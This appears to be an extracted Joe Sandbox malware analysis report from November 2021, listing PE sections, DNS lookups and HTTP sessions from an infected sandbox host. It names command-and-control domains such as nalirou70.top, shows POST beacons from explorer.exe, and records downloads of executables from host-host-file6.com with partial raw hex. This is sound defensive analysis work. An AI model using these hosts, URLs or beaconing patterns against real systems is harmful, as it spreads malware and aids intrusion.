Subsystem Version Minor: 1

Import Hash: a5effb4de201aefae267d5eef9a314ac

Static PE Info

Copyright Joe Security LLC 2021 Page 18 of 88



Network Port Distribution

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x1000 0x312a8 0x31400 False 0.612701261104 data 7.02904343285 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.data 0x33000 0x26f642c 0x1200 unknown unknown unknown unknown IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE, 
IMAGE_SCN_MEM_READ

.rsrc 0x272a000 0x4210 0x4400 False 0.711971507353 data 6.22162215956 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

.reloc 0x272f000 0x109c8 0x10a00 False 0.0766858552632 data 1.00398945352 IMAGE_SCN_CNT_INITIALIZED_D
ATA, 
IMAGE_SCN_MEM_DISCARDABLE
, IMAGE_SCN_MEM_READ

Language of compilation system Country where language is spoken Map

Divehi; Dhivehi; Maldivian Maldives

Spanish Paraguay

Network Behavior

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Nov 9, 2021 22:20:48.181229115 CET 192.168.2.4 8.8.8.8 0x306b Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Nov 9, 2021 22:20:49.766926050 CET 192.168.2.4 8.8.8.8 0x3d48 Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Nov 9, 2021 22:20:51.091515064 CET 192.168.2.4 8.8.8.8 0x3cc4 Standard query 
(0)

privacytoo
lzforyou7000.top

A (IP address) IN (0x0001)

Nov 9, 2021 22:20:56.012543917 CET 192.168.2.4 8.8.8.8 0x2a97 Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Nov 9, 2021 22:20:57.792776108 CET 192.168.2.4 8.8.8.8 0xcb34 Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Nov 9, 2021 22:21:04.161433935 CET 192.168.2.4 8.8.8.8 0x69ae Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

TCP Packets
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Nov 9, 2021 22:21:05.779247046 CET 192.168.2.4 8.8.8.8 0x4ba7 Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Nov 9, 2021 22:21:07.132746935 CET 192.168.2.4 8.8.8.8 0xf8d6 Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Nov 9, 2021 22:21:08.465326071 CET 192.168.2.4 8.8.8.8 0x8212 Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Nov 9, 2021 22:21:10.102009058 CET 192.168.2.4 8.8.8.8 0xf495 Standard query 
(0)

host-host-
file6.com

A (IP address) IN (0x0001)

Nov 9, 2021 22:21:21.094811916 CET 192.168.2.4 8.8.8.8 0x7936 Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Nov 9, 2021 22:21:22.480365992 CET 192.168.2.4 8.8.8.8 0x28bf Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Nov 9, 2021 22:21:23.795788050 CET 192.168.2.4 8.8.8.8 0x2270 Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Nov 9, 2021 22:21:25.097748995 CET 192.168.2.4 8.8.8.8 0xf378 Standard query 
(0)

host-host-
file6.com

A (IP address) IN (0x0001)

Nov 9, 2021 22:21:30.161583900 CET 192.168.2.4 8.8.8.8 0x89e0 Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Nov 9, 2021 22:21:31.479443073 CET 192.168.2.4 8.8.8.8 0x66 Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Nov 9, 2021 22:21:32.814738035 CET 192.168.2.4 8.8.8.8 0x5cbf Standard query 
(0)

host-host-
file6.com

A (IP address) IN (0x0001)

Nov 9, 2021 22:21:37.624569893 CET 192.168.2.4 8.8.8.8 0x69b Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Nov 9, 2021 22:21:38.948087931 CET 192.168.2.4 8.8.8.8 0xf3e5 Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Nov 9, 2021 22:21:44.945497036 CET 192.168.2.4 8.8.8.8 0x95af Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Nov 9, 2021 22:21:46.255127907 CET 192.168.2.4 8.8.8.8 0x1be Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Nov 9, 2021 22:21:47.570796013 CET 192.168.2.4 8.8.8.8 0x12f7 Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Nov 9, 2021 22:21:48.266598940 CET 192.168.2.4 8.8.8.8 0xb21b Standard query 
(0)

cdn.discor
dapp.com

A (IP address) IN (0x0001)

Nov 9, 2021 22:21:48.878771067 CET 192.168.2.4 8.8.8.8 0xf5d1 Standard query 
(0)

hajezey10.top A (IP address) IN (0x0001)

Nov 9, 2021 22:21:56.009752035 CET 192.168.2.4 8.8.8.8 0x67a4 Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Nov 9, 2021 22:21:57.334422112 CET 192.168.2.4 8.8.8.8 0xedc5 Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Nov 9, 2021 22:21:58.635862112 CET 192.168.2.4 8.8.8.8 0x66fc Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Nov 9, 2021 22:21:59.960345030 CET 192.168.2.4 8.8.8.8 0xbbb2 Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Nov 9, 2021 22:22:01.274131060 CET 192.168.2.4 8.8.8.8 0xb296 Standard query 
(0)

cdn.discor
dapp.com

A (IP address) IN (0x0001)

Nov 9, 2021 22:22:03.175628901 CET 192.168.2.4 8.8.8.8 0x4146 Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Nov 9, 2021 22:22:04.478583097 CET 192.168.2.4 8.8.8.8 0x22c0 Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Nov 9, 2021 22:22:05.538686991 CET 192.168.2.4 8.8.8.8 0x54d1 Standard query 
(0)

nusurtal4f.net A (IP address) IN (0x0001)

Nov 9, 2021 22:22:05.796813965 CET 192.168.2.4 8.8.8.8 0xb7b9 Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Nov 9, 2021 22:22:07.090008974 CET 192.168.2.4 8.8.8.8 0xcf7f Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Nov 9, 2021 22:22:08.424690008 CET 192.168.2.4 8.8.8.8 0xab01 Standard query 
(0)

nalirou70.top A (IP address) IN (0x0001)

Nov 9, 2021 22:22:09.867391109 CET 192.168.2.4 8.8.8.8 0xd4ce Standard query 
(0)

host-host-
file6.com

A (IP address) IN (0x0001)

Nov 9, 2021 22:22:26.692532063 CET 192.168.2.4 8.8.8.8 0x9462 Standard query 
(0)

netomishne
tojuk.net

A (IP address) IN (0x0001)

Nov 9, 2021 22:22:26.730770111 CET 192.168.2.4 8.8.8.8 0x80a6 Standard query 
(0)

escalivrouter.net A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Nov 9, 2021 
22:20:48.469034910 
CET

8.8.8.8 192.168.2.4 0x306b No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:20:49.786566019 
CET

8.8.8.8 192.168.2.4 0x3d48 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

DNS Answers
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Nov 9, 2021 
22:20:51.110956907 
CET

8.8.8.8 192.168.2.4 0x3cc4 No error (0) privacytoo
lzforyou7000.top

47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:20:56.360290051 
CET

8.8.8.8 192.168.2.4 0x2a97 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:20:58.143651009 
CET

8.8.8.8 192.168.2.4 0xcb34 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:21:04.480629921 
CET

8.8.8.8 192.168.2.4 0x69ae No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:21:05.799434900 
CET

8.8.8.8 192.168.2.4 0x4ba7 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:21:07.150015116 
CET

8.8.8.8 192.168.2.4 0xf8d6 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:21:08.810220003 
CET

8.8.8.8 192.168.2.4 0x8212 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:21:10.121613979 
CET

8.8.8.8 192.168.2.4 0xf495 No error (0) host-host-
file6.com

47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:21:21.114425898 
CET

8.8.8.8 192.168.2.4 0x7936 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:21:22.499907017 
CET

8.8.8.8 192.168.2.4 0x28bf No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:21:23.815069914 
CET

8.8.8.8 192.168.2.4 0x2270 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:21:25.447969913 
CET

8.8.8.8 192.168.2.4 0xf378 No error (0) host-host-
file6.com

47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:21:30.179389954 
CET

8.8.8.8 192.168.2.4 0x89e0 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:21:31.498986959 
CET

8.8.8.8 192.168.2.4 0x66 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:21:32.834692001 
CET

8.8.8.8 192.168.2.4 0x5cbf No error (0) host-host-
file6.com

47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:21:37.643862963 
CET

8.8.8.8 192.168.2.4 0x69b No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:21:38.967904091 
CET

8.8.8.8 192.168.2.4 0xf3e5 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:21:44.965086937 
CET

8.8.8.8 192.168.2.4 0x95af No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:21:46.274498940 
CET

8.8.8.8 192.168.2.4 0x1be No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:21:47.590293884 
CET

8.8.8.8 192.168.2.4 0x12f7 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:21:48.290569067 
CET

8.8.8.8 192.168.2.4 0xb21b No error (0) cdn.discor
dapp.com

162.159.134.233 A (IP address) IN (0x0001)

Nov 9, 2021 
22:21:48.290569067 
CET

8.8.8.8 192.168.2.4 0xb21b No error (0) cdn.discor
dapp.com

162.159.130.233 A (IP address) IN (0x0001)

Nov 9, 2021 
22:21:48.290569067 
CET

8.8.8.8 192.168.2.4 0xb21b No error (0) cdn.discor
dapp.com

162.159.129.233 A (IP address) IN (0x0001)

Nov 9, 2021 
22:21:48.290569067 
CET

8.8.8.8 192.168.2.4 0xb21b No error (0) cdn.discor
dapp.com

162.159.133.233 A (IP address) IN (0x0001)

Nov 9, 2021 
22:21:48.290569067 
CET

8.8.8.8 192.168.2.4 0xb21b No error (0) cdn.discor
dapp.com

162.159.135.233 A (IP address) IN (0x0001)

Nov 9, 2021 
22:21:49.248229027 
CET

8.8.8.8 192.168.2.4 0xf5d1 No error (0) hajezey10.top 47.74.84.15 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
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Nov 9, 2021 
22:21:56.027358055 
CET

8.8.8.8 192.168.2.4 0x67a4 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:21:57.353862047 
CET

8.8.8.8 192.168.2.4 0xedc5 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:21:58.655211926 
CET

8.8.8.8 192.168.2.4 0x66fc No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:21:59.979754925 
CET

8.8.8.8 192.168.2.4 0xbbb2 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:22:01.295880079 
CET

8.8.8.8 192.168.2.4 0xb296 No error (0) cdn.discor
dapp.com

162.159.134.233 A (IP address) IN (0x0001)

Nov 9, 2021 
22:22:01.295880079 
CET

8.8.8.8 192.168.2.4 0xb296 No error (0) cdn.discor
dapp.com

162.159.133.233 A (IP address) IN (0x0001)

Nov 9, 2021 
22:22:01.295880079 
CET

8.8.8.8 192.168.2.4 0xb296 No error (0) cdn.discor
dapp.com

162.159.130.233 A (IP address) IN (0x0001)

Nov 9, 2021 
22:22:01.295880079 
CET

8.8.8.8 192.168.2.4 0xb296 No error (0) cdn.discor
dapp.com

162.159.129.233 A (IP address) IN (0x0001)

Nov 9, 2021 
22:22:01.295880079 
CET

8.8.8.8 192.168.2.4 0xb296 No error (0) cdn.discor
dapp.com

162.159.135.233 A (IP address) IN (0x0001)

Nov 9, 2021 
22:22:03.194483042 
CET

8.8.8.8 192.168.2.4 0x4146 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:22:04.496556997 
CET

8.8.8.8 192.168.2.4 0x22c0 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:22:05.571943998 
CET

8.8.8.8 192.168.2.4 0x54d1 No error (0) nusurtal4f.net 45.141.84.21 A (IP address) IN (0x0001)

Nov 9, 2021 
22:22:05.816350937 
CET

8.8.8.8 192.168.2.4 0xb7b9 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:22:07.109397888 
CET

8.8.8.8 192.168.2.4 0xcf7f No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:22:08.442487001 
CET

8.8.8.8 192.168.2.4 0xab01 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:22:10.184499979 
CET

8.8.8.8 192.168.2.4 0xd4ce No error (0) host-host-
file6.com

47.74.84.15 A (IP address) IN (0x0001)

Nov 9, 2021 
22:22:26.759207964 
CET

8.8.8.8 192.168.2.4 0x80a6 No error (0) escalivrouter.net 192.42.116.41 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

            
cdn.discordapp.com

            
pstanat.net

nalirou70.top

            
xyauqxpv.com

            
privacytoolzforyou7000.top

            
ruebf.org

            
vhiaeb.net

            
jjvrsspwd.com

            
hjuvthale.net

            

HTTP Request Dependency Graph
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vhupvvm.org

            
lnvjmhbadt.net

            
host-host-file6.com

            
ssyqxqlwo.com

            
ksjdtko.org

            
rjave.net

            
fkqdw.com

            
vhlqong.com

            
yvlvga.org

            
tqhblvfem.net

            
rykrbxyl.net

            
oaayoceae.org

            
ukalfymca.com

            
hajezey10.top

            
muqembbjlb.net

            
crrgldha.com

            
hbrlkj.net

            
lvejmcuwnq.net

            
rvlwdspfo.org

            
kcurrvlwmx.net

            
ykpbkuficw.com

            
bfwrlwg.net

            
umqsuuguwn.org

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.4 49868 162.159.134.233 443 C:\Users\user\AppData\Local\Temp\B8B0.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.4 49871 162.159.134.233 443 C:\Users\user\AppData\Local\Temp\B8B0.exe

Timestamp
kBytes
transferred Direction Data

HTTP Packets
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Session ID Source IP Source Port Destination IP Destination Port Process

10 192.168.2.4 49794 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:21:07.444571972 CET

1786 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://vhupvvm.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 252
Host: nalirou70.top

Nov 9, 2021 
22:21:08.422864914 CET

1874 IN HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:21:08 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

11 192.168.2.4 49805 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:21:09.104881048 CET

2106 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://lnvjmhbadt.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 273
Host: nalirou70.top

Nov 9, 2021 
22:21:10.089358091 CET

2324 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:21:09 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 34 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 1a ff b5 98 ff ac 18 a8 19 
88 2c b4 59 52 db 03 f8 e5 2c f3 65 00 48 eb ac e3 1e bb 52 df 46 d2 f7 21 80 2a 80 ae 95 50 2a f8 e3 00 7e 0d 0a 30 0d 
0a 0d 0a 
Data Ascii: 45I:82OU&,YR,eHRF!*P*~0

Session ID Source IP Source Port Destination IP Destination Port Process

12 192.168.2.4 49813 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:21:10.422574043 CET

2330 OUT GET /files/5675_1636449658_2701.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: host-host-file6.com
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Nov 9, 2021 
22:21:11.271085024 CET

2348 IN HTTP/1.1 200 OK
Date: Tue, 09 Nov 2021 21:21:10 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
Last-Modified: Tue, 09 Nov 2021 09:20:58 GMT
ETag: "2a16d8-5d057a09c5eba"
Accept-Ranges: bytes
Content-Length: 2758360
Connection: close
Content-Type: application/octet-stream
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 ae 4c 1d b2 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 
30 00 00 18 03 00 00 8e 0a 00 00 00 00 00 08 10 48 00 00 20 00 00 00 40 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 6f 00 00 04 00 00 5e 9a 2a 00 02 00 40 80 00 00 10 00 00 10 00 00 
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3a c0 08 00 50 00 00 00 00 c0 69 00 6f 43 05 
00 00 00 00 00 00 00 00 00 00 fe 29 00 d8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 20 20 20 20 20 00 20 03 00 
00 20 00 00 00 90 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 20 20 20 20 20 20 20 20 68 4e 05 
00 00 40 03 00 00 04 01 00 00 94 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 0c 00 
00 00 00 a0 08 00 00 02 00 00 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 69 64 61 74 61 00 00 00 
20 00 00 00 c0 08 00 00 02 00 00 00 9a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 7e c2 a9 5c 31 38 34 37 
00 20 00 00 00 e0 08 00 00 08 00 00 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 68 65 6d 69 64 
61 00 80 3e 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 e0 2e 62 6f 6f 74 00 
00 00 00 fa 21 00 00 80 47 00 00 fa 21 00 00 a4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 7e c2 a9 5c 31 38 
34 37 50 0c 00 00 00 80 69 00 00 0e 00 00 00 9e 24 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 7e c2 a9 5c 31 
38 34 37 50 0c 00 00 00 a0 69 00 00 0e 00 00 00 ac 24 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 
63 00 00 00 6f 43 05 00 00 c0 69 00 00 44 05 00 00 ba 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELL0H @@  o^*@:PioC)           `        hN@@@        
@@.idata @~\1847 @@.themida>`.boot!G!``~\1847Pi$ `~\1847Pi$ `.rsrcoCiD$@@

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

13 192.168.2.4 49832 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:21:21.411899090 CET

7752 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://ssyqxqlwo.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 218
Host: nalirou70.top

Nov 9, 2021 
22:21:22.409507036 CET

7753 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:21:22 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 
64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

14 192.168.2.4 49833 47.74.84.15 80 C:\Windows\explorer.exe
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Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:21:22.799314022 CET

7754 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://ksjdtko.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 210
Host: nalirou70.top

Nov 9, 2021 
22:21:23.785218000 CET

7754 IN HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:21:23 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

15 192.168.2.4 49834 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:21:24.113164902 CET

7755 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://rjave.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 145
Host: nalirou70.top

Nov 9, 2021 
22:21:25.089201927 CET

7756 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:21:24 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 34 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 1a ff b5 98 ff ac 18 a8 19 
88 2c b4 59 52 db 03 f8 e5 2c f3 65 00 48 ec a9 e3 1e bb 52 df 41 df fb 2f 8c 20 80 ab 93 51 2e f8 e3 00 7e 0d 0a 30 0d 0a 
0d 0a 
Data Ascii: 45I:82OU&,YR,eHRA/ Q.~0

Session ID Source IP Source Port Destination IP Destination Port Process

16 192.168.2.4 49835 47.74.84.15 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 9, 2021 
22:21:25.749810934 CET

7756 OUT GET /files/5600_1636395892_7115.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: host-host-file6.com
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Nov 9, 2021 
22:21:26.603705883 CET

7758 IN HTTP/1.1 200 OK
Date: Tue, 09 Nov 2021 21:21:26 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
Last-Modified: Mon, 08 Nov 2021 18:24:52 GMT
ETag: "48000-5d04b1be8e47b"
Accept-Ranges: bytes
Content-Length: 294912
Connection: close
Content-Type: application/octet-stream
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 
